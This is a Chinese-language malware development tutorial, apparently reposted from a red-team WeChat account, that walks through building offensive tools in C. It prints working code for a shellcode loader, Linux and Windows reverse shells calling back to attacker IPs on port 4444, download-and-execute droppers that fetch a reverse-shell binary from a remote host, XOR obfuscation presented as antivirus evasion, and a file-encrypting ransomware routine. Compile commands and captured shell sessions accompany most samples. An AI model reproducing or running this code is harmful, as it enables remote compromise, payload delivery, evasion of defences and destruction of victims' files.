01-简单介绍
本课程中提及的恶意软件开发主要使用C/C++语言,例如:
// 申请内存
memory_for_payload = VirtualAlloc(0, actual_payload_length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 将payload移入内存
RtlMoveMemory(memory_for_payload, actual_payload, actual_payload_length);
// 更改内存可执行权限
operation_status = VirtualProtect(memory_for_payload, actual_payload_length, PAGE_EXECUTE_READ, &previous_protection_level);
if ( operation_status != 0 ) {
// 执行payload
thread_handle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) memory_for_payload, 0, 0, 0);
WaitForSingleObject(thread_handle, -1);
}
return 0;
这是一个典型的执行shellcode的代码,后面会多次用到。
02-反弹shell
反弹shell是一个最基础的功能
linux下反弹shell的c代码如下:
//引入头文件
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>
int main () {
// 设置反弹shell的IP地址
const char* attacker_ip = "10.9.1.6";
// 结构化IP地址
struct sockaddr_in target_address;
target_address.sin_family = AF_INET;
target_address.sin_port = htons(4444);
inet_aton(attacker_ip, &target_address.sin_addr);
// 创建socket
int socket_file_descriptor = socket(AF_INET, SOCK_STREAM, 0);
// 连接
connect(socket_file_descriptor, (struct sockadr *)&target_address, sizeof(target_address));
// 把标准输入、输出、报错信息重定向到socket
for (int index = 0; index < 3; index++) {
// dup2(socket_file_descriptor, 0) - link to standard input
// dup2(socket_file_descriptor, 1) - link to standard output
// dup2(socket_file_descriptor, 2) - link to standard error
dup2(socket_file_descriptor, index);
}
// 调用系统shell
execve("/bin/sh", NULL, NULL);
return 0;
}
编译
gcc linux-revshell.c -o linux-revshell
运行后在本地4444端口获得shell
nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.136.129] from (UNKNOWN) [192.168.136.129] 45102
id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),106(bluetooth),113(scanner),136(wireshark),137(kaboxer)
ls
linux-revshell
linux-revshell.c
windows反弹shell的c代码如下:
//引入头文件
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "w2_32")
// 初始化变量和结构体
WSADATA socketData;
SOCKET mainSocket;
struct sockaddr_in connectionAddress;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInfo;
int main(int argc, char* argv[]) {
// 设置反弹shell的ip和端口
char *attackerIP = "10.10.1.5";
short attackerPort = 4444;
// 初始化socket信息
WSAStartup(MAKEWORD(2, 2), &socketData);
// 创建socket
mainSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
connectionAddress.sin_family = AF_INET;
connectionAddress.sin_port = htons(attackerPort);
connectionAddress.sin_addr.s_addr = inet_addr(attackerIP);
// 连接远程主机
WSAConnect(mainSocket, (SOCKADDR*)&connectionAddress, sizeof(connectionAddress), NULL, NULL, NULL, NULL);
// 设置标准输入输出报错信息
memset(&startupInfo, 0, sizeof(startupInfo));
startupInfo.cb = sizeof(startupInfo);
startupInfo.dwFlags = STARTF_USESTDHANDLES;
startupInfo.hStdInput = startupInfo.hStdOutput = startupInfo.hStdError = (HANDLE) mainSocket;
// 创建cmd.exe进程并重定向输入输出
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &startupInfo, &processInfo);
exit(0);
}
编译,kali下没有i686-w64-mingw32-g++可以使用i686-w64-mingw32-gcc代替
或者安装g++
sudo apt install mingw-*
i686-w64-mingw32-g++ win-revshell.c -o win-revshell.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
参数说明:
-o 输出
-lws2_32 链接Winsock库
-s 删除符号表和重新定位信息,减小生成文件大小
-ffunction-sections 告诉编译器将每个函数放入输出文件中它自己的部分中。这个标志通常与--gc-sections结合使用,以删除未使用的代码
-fdata-sections 与上面类似,指示编译器将每个全局变量放置到它自己的节中
-Wno-write-strings 告诉编译器在代码试图修改字符串文字时不要发出警告
-fno-exceptions 禁用异常处理支持,告诉编译器不要生成异常处理构造的代码,比如try-catch块
-fmerge-all-constants 合并常量,减小体积
-static-libstdc++ 静态链接c++标准库,不依赖环境的c库
-static-libgcc 静态链接c运行库,不依赖环境的c库
-fpermissive 放宽代码检查,允许不标准代码和不安全代码
编译后在windows10机器上运行可以获得shell(不免杀,过不了WD)
nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.136.129] from (UNKNOWN) [192.168.136.132] 50400
Microsoft Windows [Version 10.0.17134.1]
(c) 2018 Microsoft Corporation. All rights reserved.
C:UsersadminDownloads>whoami
whoami
desktop-ur2g91tadmin
C:UsersadminDownloads>
03-WinApi调用
简单例子获得当前用户名:
#include <windows.h>
#include <stdio.h>
#include <lm.h>
int main() {
char username[UNLEN + 1];
DWORD username_len = UNLEN + 1;
GetUserName(username, &username_len);
printf("current user is: %sn", username);
return 0;
}
编译
i686-w64-mingw32-g++ GetUserName.c -o GetUserName.exe -ladvapi32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
运行
C:UsersadminDownloads>GetUserName.exe
current user is: admin
后续开发中常用的WinApi有:
VirtualAlloc 申请内存,可用于开辟shellcode空间
VirtualProtect 修改保护,可执行
RtlMoveMemory 内存拷贝
CreateThread 创建线程
04-PE格式(exe和dll文件)
介绍PE格式,Dos头PE头等等,使用PE-bear查看PE格式,未发现有什么和课程内容有什么关联,后续有需要再看
创建一个dll:
#include <windows.h>
#pragma comment (lib, "user32.lib")
BOOL APIENTRY DllMain(HMODULE moduleHandle, DWORD actionReason, LPVOID reservedPointer) {
switch (actionReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Hello from evil.dll!",
"=^..^=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
编译
x86_64-w64-mingw32-g++ -shared -o dll.dll dll.c -fpermissive
生成一个dll,在加载的时候会弹出MessageBox
05-常见恶意软件行为
1-下载并执行
#include <windows.h>
#include <urlmon.h>
#pragma comment(lib, "urlmon.lib")
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
URLDownloadToFile(NULL, "http://192.168.136.129/win-revshell.exe", "C:\temp\malware.exe", 0, NULL);
ShellExecute(NULL, "open", "C:\temp\malware.exe", NULL, NULL, SW_SHOWNORMAL);
return 0;
}
编译
i686-w64-mingw32-g++ down.c -o down.exe -lurlmon -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
运行后在kali上获得shell,但是如果c盘下没有temp目录就可能不是执行成功,换成C:Userspublicmalware.exe更好
2-调用不同的API实现下载并执行,没看出有什么不用
#include <windows.h>
#include <urlmon.h>
#pragma comment(lib, "urlmon.lib")
int main() {
URLDownloadToFile(NULL, "http://192.168.136.129/win-revshell.exe", "C:\Users\public\malware2.exe", 0, NULL);
WinExec("C:\Users\public\malware2.exe", SW_SHOW);
return 0;
}
编译
i686-w64-mingw32-g++ down2.c -o down2.exe -lurlmon -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
在windows上运行,可在kali上获得shell
3-xor加密payload
#include <windows.h>
#include <stdio.h>
// 实现XOR异或算法
void xor_encrypt_decrypt(char* input, char key) {
char* iterator = input;
while(*iterator) {
*iterator ^= key;
iterator++;
}
}
int main() {
char payload[] = "<MALICIOUS_PAYLOAD>";
printf("original payload: %sn", payload);
// 加密payload
xor_encrypt_decrypt(payload, 'K');
printf("encrypted payload: %sn", payload);
// 加密后可能就免杀了
// 要执行的时候再解密
xor_encrypt_decrypt(payload, 'K');
printf("decrypted payload: %sn", payload);
// 解密完成后,下面执行
// hack();
return 0;
}
编译
i686-w64-mingw32-g++ xor.c -o xor.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
在win上运行看下效果
C:UsersadminDownloads>xor.exe
original payload: <MALICIOUS_PAYLOAD>
encrypted payload: w
u
decrypted payload: <MALICIOUS_PAYLOAD>
异或加密两次就可以还原
4-勒索软件加密
#include <windows.h>
#include <wincrypt.h>
#pragma comment(lib, "crypt32.lib")
void encrypt_file(LPCSTR filename) {
// buffer to hold the plaintext and the ciphertext
BYTE buffer[1024];
DWORD bytesRead, bytesWritten;
// open the original file, and create the new file
HANDLE originalFile = CreateFile(filename, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE newFile = CreateFile("encrypted", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// Get a handle to the CSP
HCRYPTPROV hProv;
CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
// Generate the session key
HCRYPTKEY hKey;
CryptGenKey(hProv, CALG_RC4, CRYPT_EXPORTABLE, &hKey);
// Read the plaintext file, encrypt the buffer, then write to the new file
while(ReadFile(originalFile, buffer, sizeof(buffer), &bytesRead, NULL)) {
CryptEncrypt(hKey, 0, bytesRead < sizeof(buffer), 0, buffer, &bytesRead, sizeof(buffer));
WriteFile(newFile, buffer, bytesRead, &bytesWritten, NULL);
}
// Clean up
CryptReleaseContext(hProv, 0);
CryptDestroyKey(hKey);
CloseHandle(originalFile);
CloseHandle(newFile);
}
int main() {
encrypt_file("test.txt");
return 0;
}
编译
i686-w64-mingw32-g++ encrypt_file.c -o encrypt_file.exe -lcrypt32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
运行后,同目录下test.txt被加密成encrypted
加微信拉群分享更多学习资料
原文始发于微信公众号(高级红队专家):【MalDev-01】基础入门
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论